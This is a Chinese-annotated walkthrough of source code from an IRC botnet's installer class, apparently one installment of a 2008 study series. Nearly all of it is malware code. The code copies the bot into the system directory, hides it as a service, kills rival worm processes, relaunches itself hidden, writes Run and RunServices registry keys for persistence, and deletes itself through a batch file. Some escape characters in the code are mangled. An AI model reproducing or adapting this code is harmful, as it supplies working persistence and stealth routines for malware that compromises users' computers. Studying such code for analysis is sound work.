十二、2008年3月19日
作者:青青子衿
email:[email protected]
1、 bool CInstaller :: CopyToSysDir ( CString & sFilename ) 函數
////////////////////////////////////////////////////////////////////////////////////
//
//函數功能:保證系統中只有一個bot在運行,將bot拷貝到系統文件夾中, 把拷貝到系統中的bot運行起來
//參數: CString &sFilename bot的文件名
//返回值: 調用成功返回true,否則返回false
//
/////////////////////////////////////////////////////////////////////////////////
bool CInstaller :: CopyToSysDir ( CString & sFilename )
{
char tstr [ MAX_PATH ];
#ifdef WIN32
CString sysdir ;
GetSystemDirectory ( sysdir . GetBuffer ( MAX_PATH ), MAX_PATH ); //獲得系統文件目錄
m_sSysDir . Assign ( sysdir . CStr ()); //將該目錄添加到該類的唯一的一個成員變量中
CString cfilename ;
GetModuleFileName ( GetModuleHandle ( NULL ), cfilename . GetBuffer ( MAX_PATH ), MAX_PATH ); //獲得當前模塊的所在文件的文件名
HINSTANCE kernel32_dll = LoadLibrary ( "kernel32.dll" ); //加載kernel32.dll文件
if ( kernel32_dll ) //獲得一下函數的位置
{
fRegisterServiceProcess =( RSP ) GetProcAddress ( kernel32_dll , "RegisterServiceProcess" );
fCreateToolhelp32Snapshot =( CT32S ) GetProcAddress ( kernel32_dll , "CreateToolhelp32Snapshot" );
fProcess32First =( P32F ) GetProcAddress ( kernel32_dll , "Process32First" );
fProcess32Next =( P32N ) GetProcAddress ( kernel32_dll , "Process32Next" );
if ( fRegisterServiceProcess )
{
fRegisterServiceProcess (0, 1); //把當前進程設置爲服務
}
}
#else
//處理linux的情況
m_sSysDir . Assign ( "/usr/sbin" );
CString sysdir ( m_sSysDir );
CString cfilename ( g_cMainCtrl . m_sArgv0 );
#endif // WIN32
if (! g_cMainCtrl . m_cCmdLine . m_cConfig . bUpdate )
{
unsigned long lStartTime = GetTickCount ();
bool bFound = true ;
while (( GetTickCount ()- lStartTime ) < 60000 && bFound ) //判斷超時
{
if ( GetCopies ( sFilename )<2) //獲得拷貝的數目
{
//如果小於2設爲返回false
bFound = false ;
}
Sleep (1000);
}
if ( bFound ) //如果拷貝數大於2 ,那麼本進程結束
{
exit (1);
}
}
long lTimeoutStart ;
if (! cfilename . Find ( sFilename . CStr (), 0)) //如果參數的文件名,是進程文件名的子字符串,執行下面的操作
{
if ( g_cMainCtrl . m_cCmdLine . m_cConfig . bUpdate ) //如果bUpdate 爲true,則殺掉進程sFilename
{
KillProcess ( sFilename . CStr ());
}
} //這裏保證了系統中只有一個bot進程在運行。
#ifdef WIN32
// Kill MSBlast //殺死衝擊波病毒
KillProcess ( "msblast.exe" );
KillProcess ( "penis32.exe" );
KillProcess ( "mspatch.exe" );
// Kill Sobig.F
KillProcess ( "winppr32.exe" ); //病毒的進程名
// Kill Welchia
KillProcess ( "dllhost.exe" ); //病毒的進程名
KillProcess ( "tftpd.exe" );
#else // FIXME: Add linux worm killer here
#endif // WIN32
if (! cfilename . Find ( sysdir , 0) || cfilename . Find ( "winhlpp32.exe" , 0)) //如果是在linux平臺下用下面的條件語句,在windows平臺下用本條件語句
#ifdef LINUX
if (! cfilename . Find ( sFilename , 0))
#endif {
sprintf ( tstr , "%s%c%s" , sysdir . CStr (), DIRCHAR , sFilename . CStr ()); //DIRCHAR 表示斜槓/
lTimeoutStart = GetTickCount (); //獲得當前的時間
// FIXME::BAD!!!
#ifdef WIN32
while ( CopyFile ( cfilename , tstr , false )== false && //拷貝文件到系統目錄,
GetTickCount ()- lTimeoutStart < 25000) //如果拷貝文件失敗,並且嘗試時間小於25秒,那麼休息2秒鐘後重試。
{
Sleep (2000);
}
#else
//處理linux平臺,使用shell中的cp指令
char szCmdBuf [ MAX_PATH ];
sprintf ( szCmdBuf , "cp %s %s" , cfilename . CStr (), tstr );
system ( szCmdBuf );
#endif // WIN32
#ifndef _DEBUG
#ifdef WIN32
PROCESS_INFORMATION pinfo ;
STARTUPINFO sinfo ;
memset (& sinfo , 0, sizeof ( STARTUPINFO ));
sinfo . cb = sizeof ( sinfo );
sinfo . wShowWindow = SW_HIDE ;
if ( CreateProcess ( NULL , tstr , NULL , NULL , TRUE , NORMAL_PRIORITY_CLASS | DETACHED_PROCESS , NULL , NULL , & sinfo , & pinfo ))
{
//創建新的進程,運行拷貝到系統文件夾中的bot程序,本bot進程退出。
exit (0);
}
#else
//在linux平臺下用shell完成
sprintf ( szCmdBuf , "%s 2>&1 > /dev/null 2>&1 &" , tstr );
system ( szCmdBuf ); exit (0);
#endif // WIN32
#endif // _DEBUG
}
return true ;
}
2、 bool CInstaller :: Install () 函數
//////////////////////////////////////////////////////
//
//函數功能:安裝類的構造函數,不做任何操作
//參數: 無
//返回值: bool ,永遠是true
//
///////////////////////////////////////////////////////
bool CInstaller :: Install ()
{
return true ;
}
3、 bool CInstaller :: Uninstall () 卸載函數
///////////////////////////////////////////////////////////
//
//函數功能:卸載函數,啓動卸載批處理卸載bot
//參數: 無
//返回值: bool調用成功返回true,否則返回false
//
///////////////////////////////////////////////////////////////
bool CInstaller :: Uninstall ()
{
#ifdef WIN32
HANDLE f ;
DWORD r ;
PROCESS_INFORMATION pinfo ;
STARTUPINFO sinfo ;
char cmdline [ MAX_PATH ];
char tcmdline [ MAX_PATH ];
char cfilename [ MAX_PATH ];
char batfile [ MAX_PATH ];
char tempdir [ MAX_PATH ];
GetModuleFileName ( GetModuleHandle ( NULL ), cfilename , sizeof ( cfilename )); //獲取本進程的文件名
GetTempPath ( sizeof ( tempdir ), tempdir ); //獲得系統臨時文件路徑
sprintf ( batfile , "%s//r.bat" , tempdir ); //構造刪除bot批處理程序,的全路徑文件名
f = CreateFile ( batfile , GENERIC_WRITE , 0, NULL , CREATE_ALWAYS , 0, 0); //創建批處理程序
if ( f > ( HANDLE )0) //如果文件創建成功
{
// write a batch file to remove our executable once we close
WriteFile ( f , "@echo off/r/n"
":start/r/nif not exist /"/"%1/"/" goto done/r/n"
"del /F /"/"%1/"/"/r/n"
"del /"/"%1/"/"/r/n"
"goto start/r/n"
":done/r/n"
"del /F %temp%/r.bat/r/n"
"del %temp%/r.bat/r/n" , 105, & r , NULL ); //寫入批處理代碼
CloseHandle ( f );
memset (& sinfo , 0, sizeof ( STARTUPINFO ));
sinfo . cb = sizeof ( sinfo );
sinfo . wShowWindow = SW_HIDE ;
GetModuleFileName ( GetModuleHandle ( NULL ), cfilename , sizeof ( cfilename )); // get our file name
sprintf ( tcmdline , "%%comspec%% /c %s %s" , batfile , cfilename ); // build command line 構造運行批處理程序的命令行
ExpandEnvironmentStrings ( tcmdline , cmdline , sizeof ( cmdline )); // put the name of the command interpreter into the command line//擴展環境變量,作用是加上批處理程序所在的路徑
// execute the batch file
CreateProcess ( NULL , cmdline , NULL , NULL , TRUE , NORMAL_PRIORITY_CLASS | DETACHED_PROCESS , NULL , NULL , & sinfo , & pinfo );
}
#else // Linux
#endif // WIN32
return true ;
}
4、 bool CInstaller :: RegStartAdd ( CString & sValuename , CString & sFilename ) 函數
////////////////////////////////////////////////////////////////////
//
//函數功能:添加啓動項
//參數: CString &sValuename 鍵值的名稱
// CString &sFilename 啓動的文件名
//返回值: bool 返回true
//
/////////////////////////////////////////////////////////////////////
bool CInstaller :: RegStartAdd ( CString & sValuename , CString & sFilename )
{
HKEY key ;
RegCreateKeyEx ( HKEY_LOCAL_MACHINE , "Software//Microsoft//Windows//CurrentVersion//Run" , 0, NULL , REG_OPTION_NON_VOLATILE , KEY_ALL_ACCESS , NULL , & key , NULL );
RegSetValueEx ( key , sValuename , 0, REG_SZ , ( LPBYTE )( const char *) sFilename , ( DWORD ) strlen ( sFilename ));
RegCloseKey ( key );
RegCreateKeyEx ( HKEY_LOCAL_MACHINE , "Software//Microsoft//Windows//CurrentVersion//RunServices" , 0, NULL , REG_OPTION_NON_VOLATILE , KEY_ALL_ACCESS , NULL , & key , NULL );
RegSetValueEx ( key , sValuename , 0, REG_SZ , ( LPBYTE )( const char *) sFilename , ( DWORD ) strlen ( sFilename ));
RegCloseKey ( key );
return true ;
}
5、 bool CInstaller :: RegStartDel ( CString & sValuename ) 函數
////////////////////////////////////////////////////////////////////
//
//函數功能:啓動項刪除
//參數: CString &sValuename 啓動項的鍵值名稱
//返回值: bool 永遠返回true
//
///////////////////////////////////////////////////////////////////////
bool CInstaller :: RegStartDel ( CString & sValuename )
{
HKEY key ;
RegCreateKeyEx ( HKEY_LOCAL_MACHINE , "Software//Microsoft//Windows//CurrentVersion//Run" , 0, NULL , REG_OPTION_NON_VOLATILE , KEY_ALL_ACCESS , NULL , & key , NULL );
RegDeleteValue ( key , sValuename );
RegCloseKey ( key );
RegCreateKeyEx ( HKEY_LOCAL_MACHINE , "Software//Microsoft//Windows//CurrentVersion//RunServices" , 0, NULL , REG_OPTION_NON_VOLATILE , KEY_ALL_ACCESS , NULL , & key , NULL );
RegDeleteValue ( key , sValuename );
RegCloseKey ( key );
return true ;
}